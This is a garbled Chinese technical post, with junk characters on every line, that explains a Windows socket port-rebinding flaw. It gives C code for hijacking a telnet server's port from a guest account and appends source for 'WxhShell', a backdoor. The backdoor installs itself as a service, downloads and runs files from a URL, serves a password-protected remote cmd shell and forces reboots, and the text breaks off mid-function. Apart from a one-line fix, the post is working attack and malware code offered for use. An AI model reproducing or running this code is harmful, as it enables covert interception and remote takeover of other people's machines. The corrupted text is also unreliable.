在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3tcsj0Rb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%YAiSSsV <R8Z[H:bV saddr.sin_family = AF_INET;
t'/;Z: -ZON']|<}k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a~TZ9yg+HL DyTk<L bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1^>g>bn_" *^5,7}9Qo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xa*gQ%+F ^W05Z!} 这意味着什么?意味着可以进行如下的攻击:
ASU\O3%% `GWq3c5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
491I WQC6{^/4[1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-Dm.z16 +B|X
k[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
beR)8sC3q =8D4:Ds 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YfU#kvE' k0uwG'(z9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
oKJ7i,xT Oo .Qz
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~ b_gwJ' [1MEA; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
YU,:3{9, * c
c+Fd #include
Y-{BY5E. #include
Czxrn2p/ #include
.O.R #include
q,&T$Tw DWORD WINAPI ClientThread(LPVOID lpParam);
OIT;fKl9 int main()
wdV?&W+ {
ck+rOGv7{Z WORD wVersionRequested;
5hK\YTU DWORD ret;
ay|{!MkQ WSADATA wsaData;
xJGeIh5 BOOL val;
s@iCfX U SOCKADDR_IN saddr;
`\0a5UFR SOCKADDR_IN scaddr;
K! j*:{ int err;
qE:DJy< SOCKET s;
a$O]'}]` SOCKET sc;
{\zr_v`g int caddsize;
Y@Y(;C"SW HANDLE mt;
;O11)u?/s| DWORD tid;
u.FDe2|[) wVersionRequested = MAKEWORD( 2, 2 );
W
(=B H err = WSAStartup( wVersionRequested, &wsaData );
"-:\-sMt{ if ( err != 0 ) {
9X` QlJ2| printf("error!WSAStartup failed!\n");
/CE d14. return -1;
T+D]bfjr&& }
,O!aRvzap saddr.sin_family = AF_INET;
EQ$9IaY. <]^D({` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L:Eb(z/D !17Z\Ltqyj saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ybO,~TQ saddr.sin_port = htons(23);
c10).zZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z?mg1;Q {
RBD
MZ printf("error!socket failed!\n");
p2(_YN;s return -1;
9-6_:N> }
-"H4brj;G val = TRUE;
n82Q.M-H //SO_REUSEADDR选项就是可以实现端口重绑定的
eR`<9KBH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N|S xAg {
`aycYoD printf("error!setsockopt failed!\n");
VC7F#a*V return -1;
8m<<tv. }
%MNV 5UA[w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b{Ss+F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
R*m"'|U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
IBh~(6 Ti'kn{
Zv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y
sV {
?!oa15 ret=GetLastError();
1?\ Y,+ printf("error!bind failed!\n");
]L^M7SKE6 return -1;
SqB|(~S }
D0i30p` listen(s,2);
xv l while(1)
N@)~j+Pz {
NM.B=<Aw* caddsize = sizeof(scaddr);
`1]9(xwhQ0 //接受连接请求
f tDV3If sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k;7.qhe: if(sc!=INVALID_SOCKET)
>IjLFM+U {
<LN $[&f# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
T%/w^27E if(mt==NULL)
hM w`e {
!g"9P 7p printf("Thread Creat Failed!\n");
c"1d#8J break;
1bkUT_ }
T@.D5[q0: }
J}CK|} CloseHandle(mt);
au*jMcq }
1+($"$ZC&B closesocket(s);
Beg5[4@ WSACleanup();
d2sq]Q return 0;
)xy6R]_b }
y@_?3m7B= DWORD WINAPI ClientThread(LPVOID lpParam)
~#\#!H7 {
q2vz#\A? SOCKET ss = (SOCKET)lpParam;
He3zV\X[Z SOCKET sc;
A!yLwkc:5 unsigned char buf[4096];
ze)K-6SKH SOCKADDR_IN saddr;
IOl"Xgn5 long num;
7gcG|kKT DWORD val;
'O9=*L)X DWORD ret;
@x
+#ZD( //如果是隐藏端口应用的话,可以在此处加一些判断
W^Y0>W~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;bE6Y]"Rz saddr.sin_family = AF_INET;
3~rc=e saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\'*`te:{ saddr.sin_port = htons(23);
,c l<74d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[{$0E=&0 {
i]pG}SJ printf("error!socket failed!\n");
V"iLeC return -1;
@un
}&URp }
MGDv4cFE. val = 100;
/GGu` f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TVwYFX {
"s9gQAoaO ret = GetLastError();
V}+;bbUc- return -1;
5&=n }
m28w4
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p>3'77
V {
mC(t;{ ret = GetLastError();
><c5Humr return -1;
y/eX(l<{ }
:j4
[_9\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uF"`y&go {
:G/]rDtd printf("error!socket connect failed!\n");
7g+ ] closesocket(sc);
uf]$@6) closesocket(ss);
vyGLn return -1;
va2A@U }
IQ~7vk() while(1)
f om"8iL1 {
e}AJxBE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
X(28xbd| //如果是嗅探内容的话,可以再此处进行内容分析和记录
;NeEgqW" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1G.gPx[ num = recv(ss,buf,4096,0);
][#*h`I if(num>0)
tdF[2@?+ send(sc,buf,num,0);
F:GKnbY else if(num==0)
;@~*z4U break;
:Xh`.*{EX num = recv(sc,buf,4096,0);
|9$'?4F if(num>0)
5V8C+k) send(ss,buf,num,0);
:9#{p^:o else if(num==0)
Fxx2vTV4ag break;
/+O8A} }
B?Sfcq- closesocket(ss);
1R9?[RE closesocket(sc);
F@roQQu return 0 ;
Nj&%xe>]. }
'$-,;vnP0 pY#EXZ# + Z2<spqG ==========================================================
KXCmCn
>I~z7JS 下边附上一个代码,,WXhSHELL
^QR'yt3e }px] ==========================================================
8;&S9'ci Vp"Ug,1 #include "stdafx.h"
%ab)Gs 0(9@GIT #include <stdio.h>
<dPxy`_ #include <string.h>
q*TKs#3 #include <windows.h>
Ab<Ok\e5 #include <winsock2.h>
[j U #include <winsvc.h>
jZ,[{Z(N
#include <urlmon.h>
8Flf,"a l5]oS?>y #pragma comment (lib, "Ws2_32.lib")
v/.h%6n? #pragma comment (lib, "urlmon.lib")
u;qMo `- U*"cf>dB( #define MAX_USER 100 // 最大客户端连接数
vD9D:vK #define BUF_SOCK 200 // sock buffer
h^ $}1[ #define KEY_BUFF 255 // 输入 buffer
2BA9T nxC
1y-lZ}s_ #define REBOOT 0 // 重启
aW-o=l@; #define SHUTDOWN 1 // 关机
EFt`<qwj <`UG#6z8 #define DEF_PORT 5000 // 监听端口
C_ZD<UPA\ 15o
*r #define REG_LEN 16 // 注册表键长度
,Ysl$^\ #define SVC_LEN 80 // NT服务名长度
U]U)' L^{;jgd&T9 // 从dll定义API
7 P^{*! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mKQST ]5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*u;">H*BW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:_,]?n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"u8o?8+q~ i)PV{3v$J // wxhshell配置信息
EZumJ." struct WSCFG {
iZ6C8HK&& int ws_port; // 监听端口
\(U" _NPp char ws_passstr[REG_LEN]; // 口令
T_tDpq_| int ws_autoins; // 安装标记, 1=yes 0=no
f"<@6Axq char ws_regname[REG_LEN]; // 注册表键名
PeUd char ws_svcname[REG_LEN]; // 服务名
j*~dFGl) char ws_svcdisp[SVC_LEN]; // 服务显示名
SA+%c)j29 char ws_svcdesc[SVC_LEN]; // 服务描述信息
L[Yp\[#-q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xZ=FH>Y6' int ws_downexe; // 下载执行标记, 1=yes 0=no
8w8I:* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Fxth>O`$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j[J@tM# ]{2{:`s };
Q] yT C6V&R1" s // default Wxhshell configuration
0"qim0%|DF struct WSCFG wscfg={DEF_PORT,
/\a]S:V-j "xuhuanlingzhe",
)cqDvH 1,
OV("mNh "Wxhshell",
LLn{2,jfQ "Wxhshell",
nHA`B.:B "WxhShell Service",
}8F$&
AFt "Wrsky Windows CmdShell Service",
h$7Fe +#I# "Please Input Your Password: ",
q?-3^z%u 1,
bqQO E4; "
http://www.wrsky.com/wxhshell.exe",
{ .3 "Wxhshell.exe"
,rB9esxic };
1'v !9 keQXJ0 // 消息定义模块
m$E^u[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i
B!h Ebz char *msg_ws_prompt="\n\r? for help\n\r#>";
=Kt9,d08x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]O7.ss/2 char *msg_ws_ext="\n\rExit.";
x\J;ZiWwW char *msg_ws_end="\n\rQuit.";
qM1)3.)[: char *msg_ws_boot="\n\rReboot...";
V)1:LLRW char *msg_ws_poff="\n\rShutdown...";
zdjM%l); char *msg_ws_down="\n\rSave to ";
{~p7*j^0 *)`kx char *msg_ws_err="\n\rErr!";
yLgKS8b char *msg_ws_ok="\n\rOK!";
2}Z4a\YX ',H$zA?i char ExeFile[MAX_PATH];
NrJ_6sjF0g int nUser = 0;
Y7kb1UG HANDLE handles[MAX_USER];
BU]WN7]D$ int OsIsNt;
Y=:KM~2hv o!=lBfI SERVICE_STATUS serviceStatus;
/y9J)lx SERVICE_STATUS_HANDLE hServiceStatusHandle;
4Ay`rG j.; // 函数声明
^#BGA|j int Install(void);
m/<F 5R int Uninstall(void);
:(l $^
M int DownloadFile(char *sURL, SOCKET wsh);
O\4+_y int Boot(int flag);
&vFqe,Z void HideProc(void);
Kl aZZJ int GetOsVer(void);
K(Q]&&< int Wxhshell(SOCKET wsl);
4P4 Fo1 void TalkWithClient(void *cs);
Q$fRi[/L int CmdShell(SOCKET sock);
*TM;trfz int StartFromService(void);
ksu}+i,a int StartWxhshell(LPSTR lpCmdLine);
#6N+5Yx_[ AvrL9D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'wz\tT ^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
KM/U?`6>: [*9YIjn // 数据结构和表定义
bCA2ik SERVICE_TABLE_ENTRY DispatchTable[] =
Xb=2/\}|f {
rQcRjh+E
H {wscfg.ws_svcname, NTServiceMain},
UR1JbyT {NULL, NULL}
5e#&"sJ.1 };
a/QtJwIV /UpD$,T|^| // 自我安装
~MhgAC int Install(void)
+HOCVqx {
:WK"-v char svExeFile[MAX_PATH];
e8AjO$49 HKEY key;
mvHh"NJ strcpy(svExeFile,ExeFile);
:Su #xI jD ' // 如果是win9x系统,修改注册表设为自启动
kqKj7L if(!OsIsNt) {
7b&JX'`Mb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#+K
Kvk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)D["M$ZA^ RegCloseKey(key);
cBLR#Yu;O5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AXl!cgi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j{{~Z M RegCloseKey(key);
{Ax)[<i return 0;
^)f{q)to }
;-KAUgL2 }
Ml8 YyF/~ }
GJ1;\:cQq else {
d ~{jEg L$+d.=] // 如果是NT以上系统,安装为系统服务
?$|uT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W\@?e32 if (schSCManager!=0)
9Z,*h-o {
.D8~)ZWN SC_HANDLE schService = CreateService
eg"=H50 (
w4e%-Ln schSCManager,
bA@
/B' wscfg.ws_svcname,
=tr1*s{ wscfg.ws_svcdisp,
RzA2*]%a SERVICE_ALL_ACCESS,
K*R)V/B/l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&W=V%t>Z SERVICE_AUTO_START,
<w0NPrS] SERVICE_ERROR_NORMAL,
-{X<*P4p svExeFile,
J [ YtA NULL,
|SGgy|/a# NULL,
(Wd_G-da NULL,
_0'm4?" NULL,
1~}m.ER NULL
yZYKwKG );
L`9TB"0R+ if (schService!=0)
lGdM80f {
]2Sfkl0 CloseServiceHandle(schService);
Guk.,}9 CloseServiceHandle(schSCManager);
N\9}\Rk@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3iE-6udCS strcat(svExeFile,wscfg.ws_svcname);
^FP}
qW~;9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9$7&URwSDI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ts|--, RegCloseKey(key);
+kjzn]}f return 0;
9[cp7 Rcb }
fCgBH~w,9 }
C%giv9a CloseServiceHandle(schSCManager);
L|&'jH) }
$.H:8^W }
$/u1chf -O'{:s~ return 1;
SArfczoB }
G1]"s@8( lj.nCV_ // 自我卸载
kTnOmAw int Uninstall(void)
H@V 7!d {
s K+
(v HKEY key;
r& vFikIz IQ ){(Y if(!OsIsNt) {
gRBSt
M&hU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}10\K RegDeleteValue(key,wscfg.ws_regname);
,Pn-ZF RegCloseKey(key);
(2UW_l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4L8z>9D RegDeleteValue(key,wscfg.ws_regname);
mDE'<c`b4 RegCloseKey(key);
|#{- .r6Y] return 0;
EQ4#fAM) }
G+0><,S }
9]"S:{KSCn }
/\na;GI$ else {
M70c{s`w5 l0I}&,+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vt//)*(.$ if (schSCManager!=0)
_`H.h6h {
K&*iw` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<"W?<VjO if (schService!=0)
[+;qWfs B {
{@?G 9UypA if(DeleteService(schService)!=0) {
#Mh{<gk%ax CloseServiceHandle(schService);
COR;e`%, CloseServiceHandle(schSCManager);
WzjL-a( return 0;
yQ9ZhdQS }
F8H'^3`b`U CloseServiceHandle(schService);
WvujcmOf }
%m9CdWb=w CloseServiceHandle(schSCManager);
Bs[nV}c>> }
["}A
S: }
P''X_1oMC +noZ<KFW
" return 1;
S='
wJ@?; }
Ht#@'x zF8'i=b& // 从指定url下载文件
\#CM
<% int DownloadFile(char *sURL, SOCKET wsh)
~3gru>qI& {
Y$g}XN*)E HRESULT hr;
n-$VUo char seps[]= "/";
s2FngAM;f char *token;
|g%mP1O char *file;
;imRh'-V6 char myURL[MAX_PATH];
f/,tgA char myFILE[MAX_PATH];
h35Hu_c& '0:i<`qv#g strcpy(myURL,sURL);
77V
.["=7 token=strtok(myURL,seps);
9}5K6aQ while(token!=NULL)
CswE {
B$^7h! file=token;
R[LsE^ token=strtok(NULL,seps);
)t:7_M3 }
sc W'AJJq _d@=nK) GetCurrentDirectory(MAX_PATH,myFILE);
3J{vt"dS strcat(myFILE, "\\");
ZQ3_y $ strcat(myFILE, file);
%r;w;`/hA send(wsh,myFILE,strlen(myFILE),0);
?vgH"W~3> send(wsh,"...",3,0);
NBjeHtT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m#f{]+6U
if(hr==S_OK)
z%1{ return 0;
9I`Y-D else
*:_P8G; return 1;
e*C6uz9N
F[saP0
* }
HSN8O@dy ?7[alV ~ // 系统电源模块
'9s5OTkN ; int Boot(int flag)
w5KPB5/zu {
BByCMY HANDLE hToken;
.R5y:O TOKEN_PRIVILEGES tkp;
99=s4*xzM R^*K6Ad if(OsIsNt) {
wvMW| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cu&,J#r% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zP!J/}z tkp.PrivilegeCount = 1;
>O7~h[FN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p@YB?#Im AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Zj*\"Ol if(flag==REBOOT) {
G^wtE90 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@ {#mpDX return 0;
cCY/gEv }
"w_N'-}# else {
-"Q-H/qh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LO:fJ{ - return 0;
\*0yaSQF }
'Z&;uv,l }
iWLa> z|, else {
nmFC%p)4 if(flag==REBOOT) {
npp[@*~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9bJQT'<R return 0;
(\a6H2z8l }
^YvB9XN else {
g~S)aU\:, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%."@Q$lA return 0;
N^w'Hw0 }
1tMQqI`N }
re &E{ 1l8Etp&< return 1;
7v7G[n }
x;\wY' 28andfl // win9x进程隐藏模块
gNpJ24QK void HideProc(void)
;WU<CKYG* {
>dzsQ^Nj Ae uX Qt HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(08I if ( hKernel != NULL )
,#]t$mzbQ( {
x3pND pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
aqU'
T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=Gk/k}1 FreeLibrary(hKernel);
&~e$:8+ }
27F~(!n Yw;D:Y( return;
5 BtX63 }
[5$w=u"j S8,Z;y // 获取操作系统版本
sJ
z@7. int GetOsVer(void)
wJ<Oo@snm {
h*B|fy4K9U OSVERSIONINFO winfo;
!ZRs;UZ>o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sZ<9A Xk-E GetVersionEx(&winfo);
CjIu[S1% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]rN5Ao}2 return 1;
.lgPFr6X else
*Vw\'%p* return 0;
8qEK+yi, }
6
sxffJt
^! 8P<y // 客户端句柄模块
Xjio Z int Wxhshell(SOCKET wsl)
3q:n'PC)C {
3]&o*Ib1`_ SOCKET wsh;
'CZa3ux struct sockaddr_in client;
X|D!VX>#! DWORD myID;
YW\0k5[ R%D'`*+ while(nUser<MAX_USER)
RP5+d {
gk[{2HgN int nSize=sizeof(client);
J[~5U~F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<"D=6jqZ if(wsh==INVALID_SOCKET) return 1;
P^`duZ{T z+ a%5J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!2UOC P if(handles[nUser]==0)
P|tNL}2`; closesocket(wsh);
`+:.L>5([ else
2`GE nUser++;
1?* }
0[?ny`Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9+s.w25R K_?W\Yg return 0;
!+)AeDc:j }
z@Q@^
&0Mr 5 <wnva // 关闭 socket
mI*[>#q> void CloseIt(SOCKET wsh)
oh"O07 {
h7*W*Bd closesocket(wsh);
5]I| DHmu nUser--;
zk*c)s ExitThread(0);
##Q/I| }
[.hyZ}B h_1T,f( // 客户端请求句柄
8}X5o]Mv void TalkWithClient(void *cs)
uXDq~`S {
g,o?q:FL '0y9MXRT SOCKET wsh=(SOCKET)cs;
"<_0A f] char pwd[SVC_LEN];
\)K^=jM char cmd[KEY_BUFF];
I):!`R., char chr[1];
DypFl M* int i,j;
%>-@K|:gS Uj+j}C while (nUser < MAX_USER) {
8t@p@Td| "H-" if(wscfg.ws_passstr) {
bl_H4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y2]-&]& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K7Rpr.p //ZeroMemory(pwd,KEY_BUFF);
\Y6WSj?E i=0;
bY}eUL2i4 while(i<SVC_LEN) {
Yt|6
X:l YEkh3FrbwH // 设置超时
6 3`{.yZ*z fd_set FdRead;
V-n&oCS+f struct timeval TimeOut;
&B!
o,qp FD_ZERO(&FdRead);
+w@M~?> FD_SET(wsh,&FdRead);
~%?`P/.o TimeOut.tv_sec=8;
C2Xd?d TimeOut.tv_usec=0;
|-V&O=!^+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1]IQg;q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O+}qQNe< `wF8k{Pb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ebPgYxVZR pwd
=chr[0]; iyj+:t/
if(chr[0]==0xd || chr[0]==0xa) { ?4H i-
pwd=0; it] E-^2>
break; p!k7C&]E
} |FD }e)
i++; 5_XV%-wM
} xss`Y,5?
!mWiYpbU+
// 如果是非法用户,关闭 socket yG Wnod'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ` PYJ^I0
} f2,jh}4
=K{\p`?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cUTE$/#s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % QKZT=}
#2r}?hP/m
while(1) {
/'31w9
Y0D}g3`
ZeroMemory(cmd,KEY_BUFF); ynA|}X
h3dsd
// 自动支持客户端 telnet标准 &WNf
M+
j=0; JaB<EL-9r2
while(j<KEY_BUFF) { ~T) Q$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u,}{I}x_
cmd[j]=chr[0]; ~ek$C
if(chr[0]==0xa || chr[0]==0xd) { z<B8mB
cmd[j]=0; `--TP
break; A^q[N
} ~z" =G5|
j++; @6l%,N<fou
} z25m_[p2
wywQ<n
// 下载文件 Vp>|hj po
if(strstr(cmd,"http://")) { G7N|
:YK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n_3O-X(
if(DownloadFile(cmd,wsh)) 2tal
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^pJ!isuqu
else `7/Y@}n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|jw^s7
} 35tu>^_#V
else { a{{g<<H
keB&Bjd&
switch(cmd[0]) { UQB"v3Z
a33TPoj
// 帮助 Duc#$YfGm
case '?': { < yC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _E@:O+K
break; Nbp!teH6
} ?B:a|0pf
// 安装 'Ysx=
case 'i': { 0_CN/5F
if(Install()) 271&i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` AY_2>7
else -eX5z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Wz;ySEz
break; msVOH%wH
} LVJxn2x6
// 卸载 sJ]taY ou
case 'r': { ;A#`]-i C
if(Uninstall()) JA)] _H
P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ot]Ru,y->+
else `[C!L *#,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dDF
.qXq.
break;
)c8j}
} o tk}y8
// 显示 wxhshell 所在路径 U#3J0+!
case 'p': { hUYd0qEbEt
char svExeFile[MAX_PATH]; -%L6#4m4o
strcpy(svExeFile,"\n\r"); rL}YLR
strcat(svExeFile,ExeFile); {#)0EzV6
send(wsh,svExeFile,strlen(svExeFile),0); 6 ~>FYX
break; _cu:aktf2
} .|/~op4;
// 重启 f]`vRvbe
case 'b': { S{Er?0wm.R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y~75r\"R
if(Boot(REBOOT)) ^$t7+g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6oBfB8]:d
else { >Jp:O
7
closesocket(wsh); r3>i+i42
ExitThread(0); 8jyG"%WO
} Sv &[f}S
break; QR>gt;
} U*3uq7
// 关机 5< ja3
case 'd': { zL\OB?)5J
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *6} N =Z
if(Boot(SHUTDOWN)) hcyM6:}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ntbg`LGf'!
else { -=(!g&0
closesocket(wsh); Dq)j:f#QM
ExitThread(0); s M +WkN}{
} e6!LS x}y
break; tz s</2
G,
} yV"ZRrjO'Z
// 获取shell f4BnX(1u
case 's': { "I
Ql Vi
CmdShell(wsh); 'D@-
closesocket(wsh); O)"gS!,
ExitThread(0); 9D4NX<_
break; J&T.(
} '{(UW.Awo
// 退出 0X^Ke(/89
case 'x': { ;g~TWy^o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #y%!\1M/:A
CloseIt(wsh); <A#
l
35
break; n(el]_d
} -Y='_4s
// 离开 Q_t`.jus
case 'q': { !tp1:'KG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v;0|U:`]
closesocket(wsh); $H-!j%hV
WSACleanup(); (`:O~>[N
exit(1); J.8IwN1E
break; W16,Alf:
} AW,53\ 0
} 5:kH;/U
} #b~JDO(
HvVts\f
// 提示信息 >ss/D^YS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;v$4$D]L
} N"3b{Qio
} $ >EYhLBa
MX@_=Sp-
return; 1n@8Kv
} PnoPbk[<
Yc'kvj)_M
// shell模块句柄 2/0v B>
int CmdShell(SOCKET sock) n-%s8aaVf
{ APO>y
STARTUPINFO si; &0`)
Q
ZeroMemory(&si,sizeof(si)); h}xeChw]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %%4t~XC#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %wSj%>&-R
PROCESS_INFORMATION ProcessInfo; o9H^?Rut
char cmdline[]="cmd"; B:+6~&,-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AU$Uxwz4
return 0; _~T!9
} 1u6^z
*;fw%PW
// 自身启动模式 =|YxDas
int StartFromService(void) ;]pJj6J&v
{ ^6_Cc
typedef struct dX)GPC-D7
{ PZ*pQ=`
DWORD ExitStatus; %Jrt4sg[j-
DWORD PebBaseAddress; 67VT\f
DWORD AffinityMask; di>cMS 4 c
DWORD BasePriority; L*~J%7
